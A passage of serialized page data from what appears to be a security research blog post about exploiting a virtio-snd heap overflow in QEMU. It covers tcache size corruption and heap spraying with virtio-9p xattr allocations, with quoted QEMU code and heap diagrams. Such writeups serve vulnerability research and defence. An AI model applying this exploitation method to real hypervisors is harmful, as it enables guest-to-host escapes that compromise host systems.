27206}," (p), p);",{"type":23,"tag":134,"props":127208,"children":127209},{"style":141},[127210],{"type":28,"value":127211},"             // [1]\n",{"type":23,"tag":134,"props":127213,"children":127214},{"class":136,"line":814},[127215],{"type":23,"tag":134,"props":127216,"children":127217},{"emptyLinePlaceholder":15},[127218],{"type":28,"value":865},{"type":23,"tag":134,"props":127220,"children":127221},{"class":136,"line":827},[127222,127226],{"type":23,"tag":134,"props":127223,"children":127224},{"style":189},[127225],{"type":28,"value":126891},{"type":23,"tag":134,"props":127227,"children":127228},{"style":264},[127229],{"type":28,"value":126896},{"type":23,"tag":134,"props":127231,"children":127232},{"class":136,"line":836},[127233,127237,127241,127245,127249,127253,127257,127261,127265,127269,127274,127278,127283],{"type":23,"tag":134,"props":127234,"children":127235},{"style":189},[127236],{"type":28,"value":30889},{"type":23,"tag":134,"props":127238,"children":127239},{"style":179},[127240],{"type":28,"value":232},{"type":23,"tag":134,"props":127242,"children":127243},{"style":264},[127244],{"type":28,"value":126912},{"type":23,"tag":134,"props":127246,"children":127247},{"style":179},[127248],{"type":28,"value":126583},{"type":23,"tag":134,"props":127250,"children":127251},{"style":168},[127252],{"type":28,"value":5262},{"type":23,"tag":134,"props":127254,"children":127255},{"style":162},[127256],{"type":28,"value":126925},{"type":23,"tag":134,"props":127258,"children":127259},{"style":179},[127260],{"type":28,"value":720},{"type":23,"tag":134,"props":127262,"children":127263},{"style":162},[127264],{"type":28,"value":126934},{"type":23,"tag":134,"props":127266,"children":127267},{"style":168},[127268],{"type":28,"value":13653},{"type":23,"tag":134,"props":127270,"children":127271},{"style":179},[127272],{"type":28,"value":127273}," tcache ",{"type":23,"tag":134,"props":127275,"children":127276},{"style":168},[127277],{"type":28,"value":15158},{"type":23,"tag":134,"props":127279,"children":127280},{"style":151},[127281],{"type":28,"value":127282}," NULL",{"type":23,"tag":134,"props":127284,"children":127285},{"style":179},[127286],{"type":28,"value":19189},{"type":23,"tag":134,"props":127288,"children":127289},{"class":136,"line":859},[127290],{"type":23,"tag":134,"props":127291,"children":127292},{"style":179},[127293],{"type":28,"value":126665},{"type":23,"tag":24,"props":127295,"children":127296},{},[127297,127299,127304],{"type":28,"value":127298},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":92,"props":127300,"children":127302},{"className":127301},[],[127303],{"type":28,"value":123772},{"type":28,"value":127305},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":18268,"props":127307,"children":127308},{},[],{"type":23,"tag":24,"props":127310,"children":127311},{},[127312,127314,127319,127321,127327,127329,127334,127336,127342],{"type":28,"value":127313},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":92,"props":127315,"children":127317},{"className":127316},[],[127318],{"type":28,"value":123772},{"type":28,"value":127320}," field was initially ",{"type":23,"tag":92,"props":127322,"children":127324},{"className":127323},[],[127325],{"type":28,"value":127326},"0x200",{"type":28,"value":127328},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":92,"props":127330,"children":127332},{"className":127331},[],[127333],{"type":28,"value":125949},{"type":28,"value":127335},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":92,"props":127337,"children":127339},{"className":127338},[],[127340],{"type":28,"value":127341},"[0x210, 0x2f0]",{"type":28,"value":127343},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":127345,"children":127346},{},[127347],{"type":28,"value":127348},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":9072,"props":127350,"children":127352},{"id":127351},"heap-spraying",[127353],{"type":28,"value":127354},"Heap Spraying",{"type":23,"tag":24,"props":127356,"children":127357},{},[127358,127360,127365],{"type":28,"value":127359},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":92,"props":127361,"children":127363},{"className":127362},[],[127364],{"type":28,"value":127326},{"type":28,"value":127366},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":127368,"children":127369},{},[127370,127372,127377],{"type":28,"value":127371},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":92,"props":127373,"children":127375},{"className":127374},[],[127376],{"type":28,"value":123967},{"type":28,"value":127378}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":127380,"children":127381},{},[127382],{"type":28,"value":127383},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":18368,"props":127385,"children":127387},{"id":127386},"virtio-9p",[127388],{"type":28,"value":127386},{"type":23,"tag":24,"props":127390,"children":127391},{},[127392,127397],{"type":23,"tag":92,"props":127393,"children":127395},{"className":127394},[],[127396],{"type":28,"value":127386},{"type":28,"value":127398}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":127400,"children":127401},{},[127402,127404,127410,127412,127418,127419,127425,127427,127432],{"type":28,"value":127403},"Through a ",{"type":23,"tag":92,"props":127405,"children":127407},{"className":127406},[],[127408],{"type":28,"value":127409},"P9_TXATTRCREATE",{"type":28,"value":127411}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":92,"props":127413,"children":127415},{"className":127414},[],[127416],{"type":28,"value":127417},".name",{"type":28,"value":10458},{"type":23,"tag":92,"props":127420,"children":127422},{"className":127421},[],[127423],{"type":28,"value":127424},".value",{"type":28,"value":127426}," fields, with the size of ",{"type":23,"tag":92,"props":127428,"children":127430},{"className":127429},[],[127431],{"type":28,"value":127424},{"type":28,"value":127433}," being directly controlled by the guest.",{"type":23,"tag":87,"props":127435,"children":127437},{"code":127436,"language":315,"meta":7,"className":15985,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127438],{"type":23,"tag":92,"props":127439,"children":127440},{"__ignoreMap":7},[127441,127483,127490,127514,127527,127538,127563,127571,127596,127613,127629,127655,127662,127683,127749,127773,127786,127793,127800,127807,127814,127834,127855,127866,127873,127880,127887,127894,127943,127999,128044],{"type":23,"tag":134,"props":127442,"children":127443},{"class":136,"line":137},[127444,127448,127452,127457,127462,127466,127470,127474,127479],{"type":23,"tag":134,"props":127445,"children":127446},{"style":151},[127447],{"type":28,"value":50550},{"type":23,"tag":134,"props":127449,"children":127450},{"style":151},[127451],{"type":28,"value":50555},{"type":23,"tag":134,"props":127453,"children":127454},{"style":179},[127455],{"type":28,"value":127456}," coroutine_fn ",{"type":23,"tag":134,"props":127458,"children":127459},{"style":264},[127460],{"type":28,"value":127461},"v9fs_xattrcreate",{"type":23,"tag":134,"props":127463,"children":127464},{"style":179},[127465],{"type":28,"value":272},{"type":23,"tag":134,"props":127467,"children":127468},{"style":151},[127469],{"type":28,"value":51133},{"type":23,"tag":134,"props":127471,"children":127472},{"style":168},[127473],{"type":28,"value":9281},{"type":23,"tag":134,"props":127475,"children":127476},{"style":162},[127477],{"type":28,"value":127478},"opaque",{"type":23,"tag":134,"props":127480,"children":127481},{"style":179},[127482],{"type":28,"value":329},{"type":23,"tag":134,"props":127484,"children":127485},{"class":136,"line":147},[127486],{"type":23,"tag":134,"props":127487,"children":127488},{"style":179},[127489],{"type":28,"value":10346},{"type":23,"tag":134,"props":127491,"children":127492},{"class":136,"line":185},[127493,127497,127502,127506,127510],{"type":23,"tag":134,"props":127494,"children":127495},{"style":151},[127496],{"type":28,"value":18553},{"type":23,"tag":134,"props":127498,"children":127499},{"style":179},[127500],{"type":28,"value":127501}," flags, rflags ",{"type":23,"tag":134,"props":127503,"children":127504},{"style":168},[127505],{"type":28,"value":257},{"type":23,"tag":134,"props":127507,"children":127508},{"style":205},[127509],{"type":28,"value":208},{"type":23,"tag":134,"props":127511,"children":127512},{"style":179},[127513],{"type":28,"value":182},{"type":23,"tag":134,"props":127515,"children":127516},{"class":136,"line":221},[127517,127522],{"type":23,"tag":134,"props":127518,"children":127519},{"style":151},[127520],{"type":28,"value":127521},"    int32_t",{"type":23,"tag":134,"props":127523,"children":127524},{"style":179},[127525],{"type":28,"value":127526}," fid;\n",{"type":23,"tag":134,"props":127528,"children":127529},{"class":136,"line":332},[127530,127534],{"type":23,"tag":134,"props":127531,"children":127532},{"style":151},[127533],{"type":28,"value":55119},{"type":23,"tag":134,"props":127535,"children":127536},{"style":179},[127537],{"type":28,"value":124114},{"type":23,"tag":134,"props":127539,"children":127540},{"class":136,"line":438},[127541,127546,127551,127555,127559],{"type":23,"tag":134,"props":127542,"children":127543},{"style":151},[127544],{"type":28,"value":127545},"    ssize_t",{"type":23,"tag":134,"props":127547,"children":127548},{"style":179},[127549],{"type":28,"value":127550}," err ",{"type":23,"tag":134,"props":127552,"children":127553},{"style":168},[127554],{"type":28,"value":257},{"type":23,"tag":134,"props":127556,"children":127557},{"style":205},[127558],{"type":28,"value":208},{"type":23,"tag":134,"props":127560,"children":127561},{"style":179},[127562],{"type":28,"value":182},{"type":23,"tag":134,"props":127564,"children":127565},{"class":136,"line":466},[127566],{"type":23,"tag":134,"props":127567,"children":127568},{"style":179},[127569],{"type":28,"value":127570},"    V9fsString name;\n",{"type":23,"tag":134,"props":127572,"children":127573},{"class":136,"line":479},[127574,127578,127583,127587,127592],{"type":23,"tag":134,"props":127575,"children":127576},{"style":151},[127577],{"type":28,"value":16035},{"type":23,"tag":134,"props":127579,"children":127580},{"style":179},[127581],{"type":28,"value":127582}," offset ",{"type":23,"tag":134,"props":127584,"children":127585},{"style":168},[127586],{"type":28,"value":257},{"type":23,"tag":134,"props":127588,"children":127589},{"style":205},[127590],{"type":28,"value":127591}," 7",{"type":23,"tag":134,"props":127593,"children":127594},{"style":179},[127595],{"type":28,"value":182},{"type":23,"tag":134,"props":127597,"children":127598},{"class":136,"line":497},[127599,127604,127608],{"type":23,"tag":134,"props":127600,"children":127601},{"style":179},[127602],{"type":28,"value":127603},"    V9fsFidState ",{"type":23,"tag":134,"props":127605,"children":127606},{"style":168},[127607],{"type":28,"value":1777},{"type":23,"tag":134,"props":127609,"children":127610},{"style":179},[127611],{"type":28,"value":127612},"file_fidp;\n",{"type":23,"tag":134,"props":127614,"children":127615},{"class":136,"line":518},[127616,127620,127624],{"type":23,"tag":134,"props":127617,"children":127618},{"style":179},[127619],{"type":28,"value":127603},{"type":23,"tag":134,"props":127621,"children":127622},{"style":168},[127623],{"type":28,"value":1777},{"type":23,"tag":134,"props":127625,"children":127626},{"style":179},[127627],{"type":28,"value":127628},"xattr_fidp;\n",{"type":23,"tag":134,"props":127630,"children":127631},{"class":136,"line":527},[127632,127637,127641,127646,127650],{"type":23,"tag":134,"props":127633,"children":127634},{"style":179},[127635],{"type":28,"value":127636},"    V9fsPDU ",{"type":23,"tag":134,"props":127638,"children":127639},{"style":168},[127640],{"type":28,"value":1777},{"type":23,"tag":134,"props":127642,"children":127643},{"style":179},[127644],{"type":28,"value":127645},"pdu ",{"type":23,"tag":134,"props":127647,"children":127648},{"style":168},[127649],{"type":28,"value":257},{"type":23,"tag":134,"props":127651,"children":127652},{"style":179},[127653],{"type":28,"value":127654}," opaque;\n",{"type":23,"tag":134,"props":127656,"children":127657},{"class":136,"line":780},[127658],{"type":23,"tag":134,"props":127659,"children":127660},{"emptyLinePlaceholder":15},[127661],{"type":28,"value":865},{"type":23,"tag":134,"props":127663,"children":127664},{"class":136,"line":797},[127665,127670,127674,127678],{"type":23,"tag":134,"props":127666,"children":127667},{"style":264},[127668],{"type":28,"value":127669},"    v9fs_string_init",{"type":23,"tag":134,"props":127671,"children":127672},{"style":179},[127673],{"type":28,"value":272},{"type":23,"tag":134,"props":127675,"children":127676},{"style":168},[127677],{"type":28,"value":277},{"type":23,"tag":134,"props":127679,"children":127680},{"style":179},[127681],{"type":28,"value":127682},"name);\n",{"type":23,"tag":134,"props":127684,"children":127685},{"class":136,"line":814},[127686,127691,127695,127700,127705,127710,127714,127718,127723,127727,127732,127736,127740,127744],{"type":23,"tag":134,"props":127687,"children":127688},{"style":179},[127689],{"type":28,"value":127690},"    err ",{"type":23,"tag":134,"props":127692,"children":127693},{"style":168},[127694],{"type":28,"value":257},{"type":23,"tag":134,"props":127696,"children":127697},{"style":264},[127698],{"type":28,"value":127699}," pdu_unmarshal",{"type":23,"tag":134,"props":127701,"children":127702},{"style":179},[127703],{"type":28,"value":127704},"(pdu, offset, ",{"type":23,"tag":134,"props":127706,"children":127707},{"style":1461},[127708],{"type":28,"value":127709},"\"dsqd\"",{"type":23,"tag":134,"props":127711,"children":127712},{"style":179},[127713],{"type":28,"value":242},{"type":23,"tag":134,"props":127715,"children":127716},{"style":168},[127717],{"type":28,"value":277},{"type":23,"tag":134,"props":127719,"children":127720},{"style":179},[127721],{"type":28,"value":127722},"fid, ",{"type":23,"tag":134,"props":127724,"children":127725},{"style":168},[127726],{"type":28,"value":277},{"type":23,"tag":134,"props":127728,"children":127729},{"style":179},[127730],{"type":28,"value":127731},"name, ",{"type":23,"tag":134,"props":127733,"children":127734},{"style":168},[127735],{"type":28,"value":277},{"type":23,"tag":134,"props":127737,"children":127738},{"style":179},[127739],{"type":28,"value":126482},{"type":23,"tag":134,"props":127741,"children":127742},{"style":168},[127743],{"type":28,"value":277},{"type":23,"tag":134,"props":127745,"children":127746},{"style":179},[127747],{"type":28,"value":127748},"flags);\n",{"type":23,"tag":134,"props":127750,"children":127751},{"class":136,"line":827},[127752,127756,127761,127765,127769],{"type":23,"tag":134,"props":127753,"children":127754},{"style":189},[127755],{"type":28,"value":11746},{"type":23,"tag":134,"props":127757,"children":127758},{"style":179},[127759],{"type":28,"value":127760}," (err ",{"type":23,"tag":134,"props":127762,"children":127763},{"style":168},[127764],{"type":28,"value":5262},{"type":23,"tag":134,"props":127766,"children":127767},{"style":205},[127768],{"type":28,"value":208},{"type":23,"tag":134,"props":127770,"children":127771},{"style":179},[127772],{"type":28,"value":14272},{"type":23,"tag":134,"props":127774,"children":127775},{"class":136,"line":836},[127776,127781],{"type":23,"tag":134,"props":127777,"children":127778},{"style":189},[127779],{"type":28,"value":127780},"        goto",{"type":23,"tag":134,"props":127782,"children":127783},{"style":179},[127784],{"type":28,"value":127785}," out_nofid;\n",{"type":23,"tag":134,"props":127787,"children":127788},{"class":136,"line":859},[127789],{"type":23,"tag":134,"props":127790,"children":127791},{"style":179},[127792],{"type":28,"value":533},{"type":23,"tag":134,"props":127794,"children":127795},{"class":136,"line":868},[127796],{"type":23,"tag":134,"props":127797,"children":127798},{"emptyLinePlaceholder":15},[127799],{"type":28,"value":865},{"type":23,"tag":134,"props":127801,"children":127802},{"class":136,"line":877},[127803],{"type":23,"tag":134,"props":127804,"children":127805},{"style":179},[127806],{"type":28,"value":104313},{"type":23,"tag":134,"props":127808,"children":127809},{"class":136,"line":946},[127810],{"type":23,"tag":134,"props":127811,"children":127812},{"emptyLinePlaceholder":15},[127813],{"type":28,"value":865},{"type":23,"tag":134,"props":127815,"children":127816},{"class":136,"line":954},[127817,127821,127825,127829],{"type":23,"tag":134,"props":127818,"children":127819},{"style":189},[127820],{"type":28,"value":11746},{"type":23,"tag":134,"props":127822,"children":127823},{"style":179},[127824],{"type":28,"value":126583},{"type":23,"tag":134,"props":127826,"children":127827},{"style":168},[127828],{"type":28,"value":9927},{"type":23,"tag":134,"props":127830,"children":127831},{"style":179},[127832],{"type":28,"value":127833}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":134,"props":127835,"children":127836},{"class":136,"line":984},[127837,127842,127846,127850],{"type":23,"tag":134,"props":127838,"children":127839},{"style":179},[127840],{"type":28,"value":127841},"        err ",{"type":23,"tag":134,"props":127843,"children":127844},{"style":168},[127845],{"type":28,"value":257},{"type":23,"tag":134,"props":127847,"children":127848},{"style":168},[127849],{"type":28,"value":50761},{"type":23,"tag":134,"props":127851,"children":127852},{"style":179},[127853],{"type":28,"value":127854},"E2BIG;\n",{"type":23,"tag":134,"props":127856,"children":127857},{"class":136,"line":992},[127858,127862],{"type":23,"tag":134,"props":127859,"children":127860},{"style":189},[127861],{"type":28,"value":127780},{"type":23,"tag":134,"props":127863,"children":127864},{"style":179},[127865],{"type":28,"value":127785},{"type":23,"tag":134,"props":127867,"children":127868},{"class":136,"line":1024},[127869],{"type":23,"tag":134,"props":127870,"children":127871},{"style":179},[127872],{"type":28,"value":533},{"type":23,"tag":134,"props":127874,"children":127875},{"class":136,"line":1032},[127876],{"type":23,"tag":134,"props":127877,"children":127878},{"emptyLinePlaceholder":15},[127879],{"type":28,"value":865},{"type":23,"tag":134,"props":127881,"children":127882},{"class":136,"line":1092},[127883],{"type":23,"tag":134,"props":127884,"children":127885},{"style":179},[127886],{"type":28,"value":104313},{"type":23,"tag":134,"props":127888,"children":127889},{"class":136,"line":8508},[127890],{"type":23,"tag":134,"props":127891,"children":127892},{"emptyLinePlaceholder":15},[127893],{"type":28,"value":865},{"type":23,"tag":134,"props":127895,"children":127896},{"class":136,"line":8526},[127897,127901,127905,127909,127914,127918,127922,127926,127931,127935,127939],{"type":23,"tag":134,"props":127898,"children":127899},{"style":264},[127900],{"type":28,"value":127669},{"type":23,"tag":134,"props":127902,"children":127903},{"style":179},[127904],{"type":28,"value":272},{"type":23,"tag":134,"props":127906,"children":127907},{"style":168},[127908],{"type":28,"value":277},{"type":23,"tag":134,"props":127910,"children":127911},{"style":162},[127912],{"type":28,"value":127913},"xattr_fidp",{"type":23,"tag":134,"props":127915,"children":127916},{"style":179},[127917],{"type":28,"value":13225},{"type":23,"tag":134,"props":127919,"children":127920},{"style":162},[127921],{"type":28,"value":36480},{"type":23,"tag":134,"props":127923,"children":127924},{"style":179},[127925],{"type":28,"value":720},{"type":23,"tag":134,"props":127927,"children":127928},{"style":162},[127929],{"type":28,"value":127930},"xattr",{"type":23,"tag":134,"props":127932,"children":127933},{"style":179},[127934],{"type":28,"value":720},{"type":23,"tag":134,"props":127936,"children":127937},{"style":162},[127938],{"type":28,"value":48003},{"type":23,"tag":134,"props":127940,"children":127941},{"style":179},[127942],{"type":28,"value":1021},{"type":23,"tag":134,"props":127944,"children":127945},{"class":136,"line":8571},[127946,127951,127955,127959,127963,127967,127971,127975,127979,127983,127987,127991,127995],{"type":23,"tag":134,"props":127947,"children":127948},{"style":264},[127949],{"type":28,"value":127950},"    v9fs_string_copy",{"type":23,"tag":134,"props":127952,"children":127953},{"style":179},[127954],{"type":28,"value":272},{"type":23,"tag":134,"props":127956,"children":127957},{"style":168},[127958],{"type":28,"value":277},{"type":23,"tag":134,"props":127960,"children":127961},{"style":162},[127962],{"type":28,"value":127913},{"type":23,"tag":134,"props":127964,"children":127965},{"style":179},[127966],{"type":28,"value":13225},{"type":23,"tag":134,"props":127968,"children":127969},{"style":162},[127970],{"type":28,"value":36480},{"type":23,"tag":134,"props":127972,"children":127973},{"style":179},[127974],{"type":28,"value":720},{"type":23,"tag":134,"props":127976,"children":127977},{"style":162},[127978],{"type":28,"value":127930},{"type":23,"tag":134,"props":127980,"children":127981},{"style":179},[127982],{"type":28,"value":720},{"type":23,"tag":134,"props":127984,"children":127985},{"style":162},[127986],{"type":28,"value":48003},{"type":23,"tag":134,"props":127988,"children":127989},{"style":179},[127990],{"type":28,"value":242},{"type":23,"tag":134,"props":127992,"children":127993},{"style":168},[127994],{"type":28,"value":277},{"type":23,"tag":134,"props":127996,"children":127997},{"style":179},[127998],{"type":28,"value":127682},{"type":23,"tag":134,"props":128000,"children":128001},{"class":136,"line":8677},[128002,128007,128011,128015,128019,128023,128027,128031,128035,128039],{"type":23,"tag":134,"props":128003,"children":128004},{"style":162},[128005],{"type":28,"value":128006},"    xattr_fidp",{"type":23,"tag":134,"props":128008,"children":128009},{"style":179},[128010],{"type":28,"value":13225},{"type":23,"tag":134,"props":128012,"children":128013},{"style":162},[128014],{"type":28,"value":36480},{"type":23,"tag":134,"props":128016,"children":128017},{"style":179},[128018],{"type":28,"value":720},{"type":23,"tag":134,"props":128020,"children":128021},{"style":162},[128022],{"type":28,"value":127930},{"type":23,"tag":134,"props":128024,"children":128025},{"style":179},[128026],{"type":28,"value":720},{"type":23,"tag":134,"props":128028,"children":128029},{"style":162},[128030],{"type":28,"value":38650},{"type":23,"tag":134,"props":128032,"children":128033},{"style":168},[128034],{"type":28,"value":171},{"type":23,"tag":134,"props":128036,"children":128037},{"style":264},[128038],{"type":28,"value":123685},{"type":23,"tag":134,"props":128040,"children":128041},{"style":179},[128042],{"type":28,"value":128043},"(size);\n",{"type":23,"tag":134,"props":128045,"children":128046},{"class":136,"line":22988},[128047],{"type":23,"tag":134,"props":128048,"children":128049},{"style":179},[128050],{"type":28,"value":1098},{"type":23,"tag":24,"props":128052,"children":128053},{},[128054,128056,128061,128063,128068,128069,128074,128076,128081],{"type":28,"value":128055},"Because the ",{"type":23,"tag":92,"props":128057,"children":128059},{"className":128058},[],[128060],{"type":28,"value":127417},{"type":28,"value":128062}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":92,"props":128064,"children":128066},{"className":128065},[],[128067],{"type":28,"value":127417},{"type":28,"value":10458},{"type":23,"tag":92,"props":128070,"children":128072},{"className":128071},[],[128073],{"type":28,"value":127424},{"type":28,"value":128075},", not just the ",{"type":23,"tag":92,"props":128077,"children":128079},{"className":128078},[],[128080],{"type":28,"value":127424},{"type":28,"value":128082}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":128084,"children":128085},{},[128086,128087,128092],{"type":28,"value":16084},{"type":23,"tag":92,"props":128088,"children":128090},{"className":128089},[],[128091],{"type":28,"value":127424},{"type":28,"value":128093}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":128095,"children":128096},{},[128097,128099,128104,128106,128112,128114,128120,128122,128128],{"type":28,"value":128098},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":92,"props":128100,"children":128102},{"className":128101},[],[128103],{"type":28,"value":127424},{"type":28,"value":128105}," buffer through a ",{"type":23,"tag":92,"props":128107,"children":128109},{"className":128108},[],[128110],{"type":28,"value":128111},"P9_TWRITE",{"type":28,"value":128113}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":92,"props":128115,"children":128117},{"className":128116},[],[128118],{"type":28,"value":128119},"P9_TREAD",{"type":28,"value":128121},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":92,"props":128123,"children":128125},{"className":128124},[],[128126],{"type":28,"value":128127},"P9_TCLUNK",{"type":28,"value":128129}," request on that same FID.",{"type":23,"tag":24,"props":128131,"children":128132},{},[128133,128135,128141],{"type":28,"value":128134},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":92,"props":128136,"children":128138},{"className":128137},[],[128139],{"type":28,"value":128140},"65536",{"type":28,"value":128142}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":9072,"props":128144,"children":128146},{"id":128145},"setting-the-heap-layout",[128147],{"type":28,"value":128148},"Setting the Heap Layout",{"type":23,"tag":24,"props":128150,"children":128151},{},[128152,128154,128159],{"type":28,"value":128153},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":92,"props":128155,"children":128157},{"className":128156},[],[128158],{"type":28,"value":127424},{"type":28,"value":128160}," allocations, like this:",{"type":23,"tag":87,"props":128162,"children":128164},{"code":128163},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[128165],{"type":23,"tag":92,"props":128166,"children":128167},{"__ignoreMap":7},[128168],{"type":28,"value":128163},{"type":23,"tag":24,"props":128170,"children":128171},{},[128172,128174,128179,128181,128186,128188,128193],{"type":28,"value":128173},"This lets us later create holes by freeing every other ",{"type":23,"tag":92,"props":128175,"children":128177},{"className":128176},[],[128178],{"type":28,"value":127424},{"type":28,"value":128180}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":23,"tag":92,"props":128182,"children":128184},{"className":128183},[],[128185],{"type":28,"value":123772},{"type":28,"value":128187}," field of the next live ",{"type":23,"tag":92,"props":128189,"children":128191},{"className":128190},[],[128192],{"type":28,"value":127424},{"type":28,"value":128194}," chunk.",{"type":23,"tag":24,"props":128196,"children":128197},{},[128198],{"type":28,"value":128199},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":23,"tag":24,"props":128201,"children":128202},{},[128203,128205,128210,128212,128217,128219,128224,128226,128231],{"type":28,"value":128204},"As mentioned earlier, ",{"type":23,"tag":92,"props":128206,"children":128208},{"className":128207},[],[128209],{"type":28,"value":127461},{"type":28,"value":128211}," always allocates two chunks: one for ",{"type":23,"tag":92,"props":128213,"children":128215},{"className":128214},[],[128216],{"type":28,"value":127417},{"type":28,"value":128218}," and one for ",{"type":23,"tag":92,"props":128220,"children":128222},{"className":128221},[],[128223],{"type":28,"value":127424},{"type":28,"value":128225},". We want to avoid having ",{"type":23,"tag":92,"props":128227,"children":128229},{"className":128228},[],[128230],{"type":28,"value":127417},{"type":28,"value":128232}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":23,"tag":4890,"props":128234,"children":128235},{},[128236,128248],{"type":23,"tag":4894,"props":128237,"children":128238},{},[128239,128241,128246],{"type":28,"value":128240},"Make ",{"type":23,"tag":92,"props":128242,"children":128244},{"className":128243},[],[128245],{"type":28,"value":127417},{"type":28,"value":128247}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":23,"tag":4894,"props":128249,"children":128250},{},[128251,128253,128258,128260,128265,128267,128272],{"type":28,"value":128252},"Prepare a separate region whose sole purpose is to absorb ",{"type":23,"tag":92,"props":128254,"children":128256},{"className":128255},[],[128257],{"type":28,"value":127417},{"type":28,"value":128259},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":23,"tag":92,"props":128261,"children":128263},{"className":128262},[],[128264],{"type":28,"value":127417},{"type":28,"value":128266}," allocations from that separate freelist instead of placing them next to our ",{"type":23,"tag":92,"props":128268,"children":128270},{"className":128269},[],[128271],{"type":28,"value":127424},{"type":28,"value":128273}," chunks.",{"type":23,"tag":18368,"props":128275,"children":128277},{"id":128276},"separating-name-allocations",[128278],{"type":28,"value":128279},"Separating .name allocations",{"type":23,"tag":24,"props":128281,"children":128282},{},[128283,128285,128290,128292,128297],{"type":28,"value":128284},"We chose the second option. However, it is not as simple as issuing ",{"type":23,"tag":92,"props":128286,"children":128288},{"className":128287},[],[128289],{"type":28,"value":127461},{"type":28,"value":128291}," for N ",{"type":23,"tag":92,"props":128293,"children":128295},{"className":128294},[],[128296],{"type":28,"value":127417},{"type":28,"value":128298},"-sized allocations and then freeing them.",{"type":23,"tag":24,"props":128300,"children":128301},{},[128302,128304,128309,128310,128315,128316,128321,128323,128328,128330,128335],{"type":28,"value":128303},"At this point, we already know that ",{"type":23,"tag":92,"props":128305,"children":128307},{"className":128306},[],[128308],{"type":28,"value":127461},{"type":28,"value":128211},{"type":23,"tag":92,"props":128311,"children":128313},{"className":128312},[],[128314],{"type":28,"value":127417},{"type":28,"value":128218},{"type":23,"tag":92,"props":128317,"children":128319},{"className":128318},[],[128320],{"type":28,"value":127424},{"type":28,"value":128322},". If we simply call it with ",{"type":23,"tag":92,"props":128324,"children":128326},{"className":128325},[],[128327],{"type":28,"value":127424},{"type":28,"value":128329}," sized the same as ",{"type":23,"tag":92,"props":128331,"children":128333},{"className":128332},[],[128334],{"type":28,"value":127417},{"type":28,"value":128336},", we get a layout like this:",{"type":23,"tag":87,"props":128338,"children":128340},{"code":128339},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          